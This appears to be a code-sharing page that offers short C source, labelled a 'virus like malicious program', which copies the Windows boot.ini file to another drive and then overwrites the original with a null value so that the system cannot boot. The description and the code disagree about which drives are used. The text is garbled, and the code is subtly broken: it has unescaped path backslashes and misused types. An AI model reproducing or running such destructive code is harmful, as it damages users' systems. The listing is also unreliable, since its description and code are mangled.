Displaying Source Code(s)
|
|
--------------------------------------------------------------------------------
Virus like malicious program.
--------------------------------------------------------------------------------
Description : overwrite the boot.ini in two OS systems (first it
will copy the boot.ini in d: oot.ini and then it overwrite the
c: oot.ini as null. no OS reistall is needed just copy and paste
the d: oot.ini to c: oot.ini
#include <stdio.h>
#include <conio.h>
void main()
{
char b,c;
FILE *f,*g,*h;
clrscr();
c=NULL;
f=fopen("d:\boot.ini","r");
g=fopen("e:\boot.ini","w");
while(1)
{
b=fgetc(f);
if (b==EOF)
break;
fprintf(g,"%c",b);
}
h=fopen("d:\boot.ini","w");
fprintf(h,"%s",c);
fclose(h);
fclose(g);
fclose(f);
getch();
}
|
|
|